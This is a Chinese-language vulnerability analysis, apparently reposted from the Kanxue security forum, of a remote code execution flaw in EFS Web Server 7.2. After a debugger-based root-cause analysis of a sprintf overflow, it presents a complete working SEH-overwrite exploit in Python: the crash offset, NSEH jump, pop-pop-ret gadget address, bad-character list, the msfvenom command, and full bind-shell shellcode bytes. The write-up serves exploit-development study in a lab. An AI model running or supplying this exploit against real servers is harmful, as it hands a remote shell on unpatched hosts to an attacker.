EFS Web Server 7.2远程代码执行漏洞分析

  • A+
所属分类:安全漏洞
EFS Web Server 7.2远程代码执行漏洞分析

本文为看雪论坛优秀文章

看雪论坛作者ID:mb_uvhwamsn



一、漏洞描述




漏洞软件:

EFS Web Server 7.2 GET请求远程代码执行漏洞(SEH)


漏洞链接:

https://www.exploit-db.com/exploits/42261


软件下载:

https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe


利用简述:

利用SEH劫持程序执行流到shellcode,难度不大,适合学习windows的SEH漏洞利用。



二、漏洞分析




1. 环境搭建


机环境:Windows xp sp3
  • EFS Web Server 7.2
  • windbg
  • mona

攻击机环境:kali
  • pwntools
  • metasploit

2. 漏洞复现与分析

编写poc。

import sys, socketfrom pwn import * ip = "192.168.112.146"port = 80 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect = s.connect((ip, port)) payload = flat("GET ", 'A'*20000, " HTTP/1.0rnrn") s.send(payload)s.recv(1024)


用windbg附加漏洞程序,发送poc,触发漏洞。

EFS Web Server 7.2远程代码执行漏洞分析
查看eax,eax+4c不可读,导致异常。
EFS Web Server 7.2远程代码执行漏洞分析
继续运行,eip指向了0x41414141,同时发现ecx也指向了0x41414141。
EFS Web Server 7.2远程代码执行漏洞分析
查看栈。
EFS Web Server 7.2远程代码执行漏洞分析
栈回溯,分别跟踪查看61c277f6,61c6286c,004968EF。
 
用IDA打开sqlite3.dll,查看61c277f6,此处由于访问 eax+4cH 错误,导致异常,重点关注eax即a1,函数传参为a1且没有改变a1的值,所以应回溯上一个函数分析。

.text:61C277F6 81 78 4C 97 A6 29+cmp     dword ptr [eax+4Ch], 0A029A697h


EFS Web Server 7.2远程代码执行漏洞分析

查看61c6286c后发现应当继续回溯,直到004968EF:因为调用sqlite3_prepare_v2()导致异常,继续回溯查看参数是什么,但是发现windbg上一层函数已被覆盖,应重新调试,在4968D0下断点。 

EFS Web Server 7.2远程代码执行漏洞分析 

在4968D0断下,逐步运行到004968ef,查看参数,第一个参数this指针为41414141,已经出现异常,需要继续回溯。

EFS Web Server 7.2远程代码执行漏洞分析

但栈帧已被畸形数据覆盖,无法查看上一级函数,但是可以查看栈中保存的参数。

EFS Web Server 7.2远程代码执行漏洞分析

关键字符串 select * from sqltable where name = ''sql语句,查找程序中调用这个字符串的函数。

EFS Web Server 7.2远程代码执行漏洞分析

EFS Web Server 7.2远程代码执行漏洞分析

有两处调用目标字符串00497584、00497748,经排查后确定00497748地址为可疑函数。

EFS Web Server 7.2远程代码执行漏洞分析


sprintf(&v15, aSelectFromSWhe, Sqltable, v11, a3);(int __thiscall) sub_4968D0(v4, (int)&v12, (int)&v15);


sprintf 函数将格式化后的sql语句存放进栈上的地址v15即01ba5fd4,其中SQL语句保存畸形字符串a3的内容。

 

在windbg中查看sub_4968D0的参数,thiscall调用约定中this保存在ecx。

 

v4 = ecx,&v12 = esp,&v15 = esp+4,此时ecx即01ba7058的地址为畸形字符串,这是由于v15保存的内容覆盖而致。

EFS Web Server 7.2远程代码执行漏洞分析

EFS Web Server 7.2远程代码执行漏洞分析

查看sub_4968D0中sqlite3_prepare_v2函数的参数。

int __cdecl sqlite3_prepare_v2(*this, a3, -1, (int)&a3, 0)


EFS Web Server 7.2远程代码执行漏洞分析

可以看到第一个参数为畸形字符串,在调用sqlite3_prepare_v2函数之前在004968ec将ecx内的值传递给第一个参数,ecx是sub_4968D0传递给sqlite3_prepare_v2的,值为01ba7058。 

EFS Web Server 7.2远程代码执行漏洞分析

继续执行直到触发漏洞,可以得知ecx指向的地址01ba7058保存的是关键内容,前面分析得知程序在00497748处调用sprintf函数将畸形字符串赋值给了v15指向的01ba5fd4一直覆盖到了01ba7058,覆盖了ecx原本关键指针的内容,导致漏洞。

 

漏洞原因总结:在sql语句赋值,由于没有对参数进行有效的检查,导致ecx指针对应的内容被sql语句中畸形变量覆盖,后续对ecx指针内容访问时出现了访问地址异常,进入SEH异常处理流程,导致代码执行。



三、漏洞利用




1. 背景知识


SEH即Windows结构化异常处理程序,用于处理程序发生的错误或异常,SEH结构存放在栈中,多个 SEH 通过链表指针在栈内由栈顶向栈底串成单向链表,发生异常时,程序顺着最近的SEH链表依次尝试其他异常处理函数,这里引用《0day安全》中的图。
 
EFS Web Server 7.2远程代码执行漏洞分析

当程序执行异常处理函数时,函数创建自己的栈帧,会把next SEH的地址压入栈中,正好时esp+8的位置,那么我们劫持程序执行流方法为把异常处理函数改为pop_pop_ret的gadget。

执行之后会跳转到next_seh处执行,将next_seh的值改为跳转到shellcode的代码,即可实现程序处理异常时执行shellcode的目的。这种攻击方法能够绕过SafeSEH。有关SEH攻击的内容可参考《0day安全》的第6.1和11章。
 
EFS Web Server 7.2远程代码执行漏洞分析

2. 利用流程


exploit整体思路:程序触发异常后跳转到handler后执行pop_pop_ret,跳转到NSEH执行jmp2shellcode,进而执行shelldcode。
EFS Web Server 7.2远程代码执行漏洞分析
写exploit步骤。
 
发送最初的poc,查看seh链,确定seh的位置4061。

!exchain

EFS Web Server 7.2远程代码执行漏洞分析

使用mona插件在内存中寻找用于攻击seh的gadget,pop_pop_ret。

!py mona seh


EFS Web Server 7.2远程代码执行漏洞分析


选择一个可执行的地址0x100103fe,编写exploit的雏形。


import sys, socketfrom pwn import * ip = "192.168.112.146"port = 80s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect = s.connect((ip, port)) nseh = "NSEH"pop_pop_ret = 0x100103feshellcode = 'B'*8000payload = flat("GET ", cyclic(4061), nseh, pop_pop_ret, shellcode, " HTTP/1.0rnrn") s.send(payload)s.recv(1024)


发送exploit可以看到seh链的nseh指针指向了"NESH",seh handler指向了0x100103fe。 

EFS Web Server 7.2远程代码执行漏洞分析 

在0x100103fe处设置断点,使进程运行到断点处,会执行pop esi、pop edi、ret三条语句,返回到01bafd4即NESH。

EFS Web Server 7.2远程代码执行漏洞分析

使NSEH跳转到shellcode,jmp 0x12 = xebx12

nesh = "xebx12x90x90"


排除坏字符:"x20x2bx2fx5c" 分别为 “ +/”,可能这些字符在创建sql语句时进行了特殊处理。

 

生成shellcode。


msfvenom -p windows/shell_bind_tcp LPORT=4444 -b 'x00x20x2bx2fx5c'  -n 0x20 -f py

import sys, socketfrom pwn import * ip = "192.168.112.146"port = 80s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect = s.connect((ip, port)) #msfvenom -p windows/shell_bind_tcp LPORT=4444 -b 'x00x20x2bx2fx5c' -n 0x20 -f pybuf =  b"x90"*0xcbuf += b"xf9x92x4axf9x41xfcx9bx9bx92x4ax48xf9xfd"buf += b"x43x90x4ax37x41x37x98x91x49x41x4bx91x93"buf += b"xf5xfdx43x48x90x27xdaxc1xbdxa1x9ex47x62"buf += b"xd9x74x24xf4x5ax33xc9xb1x53x83xc2x04x31"buf += b"x6ax13x03xcbx8dxa5x97xf7x5axabx58x07x9b"buf += b"xccxd1xe2xaaxccx86x67x9cxfcxcdx25x11x76"buf += b"x83xddxa2xfax0cxd2x03xb0x6axddx94xe9x4f"buf += b"x7cx17xf0x83x5ex26x3bxd6x9fx6fx26x1bxcd"buf += b"x38x2cx8exe1x4dx78x13x8ax1ex6cx13x6fxd6"buf += b"x8fx32x3ex6cxd6x94xc1xa1x62x9dxd9xa6x4f"buf += b"x57x52x1cx3bx66xb2x6cxc4xc5xfbx40x37x17"buf += b"x3cx66xa8x62x34x94x55x75x83xe6x81xf0x17"buf += b"x40x41xa2xf3x70x86x35x70x7ex63x31xdex63"buf += b"x72x96x55x9fxffx19xb9x29xbbx3dx1dx71x1f"buf += b"x5fx04xdfxcex60x56x80xafxc4x1dx2dxbbx74"buf += b"x7cx3ax08xb5x7exbax06xcex0dx88x89x64x99"buf += b"xa0x42xa3x5exc6x78x13xf0x39x83x64xd9xfd"buf += b"xd7x34x71xd7x57xdfx81xd8x8dx4ax89x7fx7e"buf += b"x69x74x3fx2ex2dxd6xa8x24xa2x09xc8x46x68"buf += b"x22x61xbbx93x5dx2ex32x75x37xdex12x2dxaf"buf += b"x1cx41xe6x48x5exa3x5exfex17xa5x59x01xa8"buf += b"xe3xcdx95x23xe0xc9x84x33x2dx7axd1xa4xbb"buf += b"xebx90x55xbbx21x42xf5x2exaex92x70x53x79"buf += b"xc5xd5xa5x70x83xcbx9cx2axb1x11x78x14x71"buf += b"xcexb9x9bx78x83x86xbfx6ax5dx06x84xdex31"buf += b"x51x52x88xf7x0bx14x62xaexe0xfexe2x37xcb"buf += b"xc0x74x38x06xb7x98x89xffx8exa7x26x68x07"buf += b"xd0x5ax08xe8x0bxdfx38xa3x11x76xd1x6axc0"buf += b"xcaxbcx8cx3fx08xb9x0exb5xf1x3ex0exbcxf4"buf += b"x7bx88x2dx85x14x7dx51x3ax14x54" nseh = b"xebx12x90x90"  #jmp 0x12pop_pop_ret = 0x100103fe    #pop pop ret ImageLoad.dll (WinXP SP3)buf += b'x90'*8000         #确保payload足够以长触发漏洞payload = flat("GET ", cyclic(4061), nseh, pop_pop_ret, buf, " HTTP/1.0rnrn") s.send(payload)s.recv(1024)


发送payload,攻击成功。

EFS Web Server 7.2远程代码执行漏洞分析

本文附件可点击左下方阅读原文自行下载!


EFS Web Server 7.2远程代码执行漏洞分析
- End -



EFS Web Server 7.2远程代码执行漏洞分析


看雪ID:mb_uvhwamsn

https://bbs.pediy.com/user-home-913279.htm

  *本文由看雪论坛 mb_uvhwamsn 原创,转载请注明来自看雪社区。


EFS Web Server 7.2远程代码执行漏洞分析
《安卓高级研修班》2021年6月班火热招生中!



# 往期推荐






EFS Web Server 7.2远程代码执行漏洞分析
公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]



EFS Web Server 7.2远程代码执行漏洞分析

球分享

EFS Web Server 7.2远程代码执行漏洞分析

球点赞

EFS Web Server 7.2远程代码执行漏洞分析

球在看



EFS Web Server 7.2远程代码执行漏洞分析

点击“阅读原文”,了解更多!

本文始发于微信公众号(看雪学院):EFS Web Server 7.2远程代码执行漏洞分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: